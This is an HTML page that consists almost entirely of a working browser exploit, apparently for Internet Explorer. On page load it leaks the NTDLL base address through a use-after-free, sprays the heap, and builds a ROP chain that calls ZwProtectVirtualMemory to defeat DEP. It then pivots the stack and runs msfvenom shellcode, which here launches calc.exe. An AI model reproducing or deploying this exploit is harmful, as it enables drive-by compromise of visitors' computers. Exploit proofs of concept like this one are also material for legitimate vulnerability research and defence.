<!DOCTYPE html>
<html>
<head>
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
var ntdllBase = "";
function infoleak() {
var textarea = document.getElementById("textarea");
var frame = document.createElement("iframe");
textarea.appendChild(frame);
frame.contentDocument.onreadystatechange = eventhandler;
form.reset();
}
function eventhandler() {
document.getElementById("textarea").defaultValue = "foo";
// Object replaced here
// one of the side allocations of the audio element
var j = document.createElement("canvas");
ctx=j.getContext("2d");
ctx.beginPath();
ctx.moveTo(20,20);
ctx.lineTo(20,100);
ctx.lineTo(70,100);
ctx.strokeStyle="red";
ctx.stroke();
}
setTimeout(function() {
var txt = document.getElementById("textarea");
var il = txt.value.substring(2,4);
var addr = parseInt(il.charCodeAt(1).toString(16) + il.charCodeAt(0).toString(16), 16);
ntdllBase = addr - 0x000d8560;
alert("NTDLL base addr is: 0x" + ntdllBase.toString(16));
spray();
boom();
}, 1000);
function writeu(base, offs) {
var res = 0;
if (base != 0) { res = base + offs }
else { res = offs }
res = res.toString(16);
while (res.length < 8) res = "0"+res;
return "%u"+res.substring(4,8)+"%u"+res.substring(0,4);
}
function spray()
{
var hso = document.createElement("div");
var junk = unescape("%u0e0e%u0e0e");
while(junk.length < 0x1000) junk += junk;
//ntdll prefered base addr = 0x77ec0000
//ROP chain built from NTDLL.DLL to disable DEP using VirtualProtect
var rop = unescape(
writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret
writeu(0, 0x12345678) + //junk to account for retn 0x0004
writeu(0, 0x0e0e0e3e) + //addr of size variable placeholder
writeu(ntdllBase, 0x26A04) + //0x77ee6a04: xor eax, eax ; ret
writeu(ntdllBase, 0xC75C6) + //0x77f875c6: add eax, 0x00001000 ; pop esi ; ret
writeu(0, 0x12345678) + //junk into esi
writeu(ntdllBase, 0x1345E) + //0x77ed345e: mov dword [ecx], eax ; mov al, 0x01 ; pop ebp ; retn 0x0008
writeu(0, 0x12345678) + //junk into ebp
writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret
writeu(0, 0x12345678) + //junk to account for retn 0x0008
writeu(0, 0x12345678) + //junk to account for retn 0x0008
writeu(0, 0x0e0e0484) + //addr of protection value placeholder
writeu(ntdllBase, 0x26A04) + //0x77ee6a04: xor eax, eax ; ret
writeu(ntdllBase, 0x57C32) + //0x77f17c32: add eax, 0x20 ; ret
writeu(ntdllBase, 0x57C32) + //0x77f17c32: add eax, 0x20 ; ret
writeu(ntdllBase, 0x1345E) + //0x77ed345e: mov dword [ecx], eax ; mov al, 0x01 ; pop ebp ; retn 0x0008
writeu(0, 0x12345678) + //junk into ebp
writeu(ntdllBase, 0x13F8) + //0x77ec13f8: ret
writeu(0, 0x12345678) + //junk to account for retn 0x0008
writeu(0, 0x12345678) + //junk to account for retn 0x0008
writeu(ntdllBase, 0x00045ae0) + //ntdll!ZwProtectVirtualMemory - ntdll = 0x00045ae0
writeu(0, 0x0e0e048c) + //return addr = shellcode addr
writeu(0, 0xffffffff) + //process handle (-1)
writeu(0, 0x0e0e0e22) + //pointer to addr of shellcode
writeu(0, 0x0e0e0e3e) + //pointer to size
writeu(0, 0x22222222) + //placeholder for PAGE_EXECUTE_READWRITE = 0x40
writeu(0, 0x0e0e0e0a) //addr to write old protection value
);
//Shellcode
//root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le
var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption
"%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" +
"");
//stack pivot
var xchg = unescape(writeu(ntdllBase, 0x2D801)); //0x77eed801: xchg eax, esp ; add al, 0x00 ; pop ebp ; retn 0x0004
//first stage ROP chain to do bigger stack pivot
var pivot = unescape(
writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret
writeu(0, 0x12345678) + //junk offset for retn 0x0004
writeu(0, 0xfffff5fa) + //offset to add to ESP to get back to the ROP chain
writeu(ntdllBase, 0xC4AE7) + //x77f84ae7: add esp, ecx ; pop ebp ; retn 0x0004
writeu(0, 0x0e0e028c) //pointer to shellcode for use with ntdll!ZwProtectVirtualMemory
);
var offset = 0x7c9; //magic number - offset into heap spray to reach addr 0x0e0e0e0e
var data = junk.substring(0, 0x200) + rop + shellcode + junk.substring(0, offset - 0xd0 - 0x200 - rop.length - shellcode.length) + pivot + junk.substring(0, 0xd0-pivot.length) + xchg;
data += junk.substring(0, 0x800 - offset - xchg.length);
while(data.length < 0x80000) data += data;
for(var i = 0; i < 0x350; i++)
{
var obj = document.createElement("button");
obj.title = data.substring(0, (0x7fb00-2)/2);
hso.appendChild(obj);
}
}
function boom() {
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
th1.align = "right";
}
</script>
</head>
<body onload=infoleak()>
<form id="form">
<textarea id="textarea" style="display:none" cols="80">aaaaaaaaaaaaa</textarea>
</form>
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="0" width=2000000></th>
<th class="class2" width=0><div class="class2"></div></th>
</table>
</body>
</html>
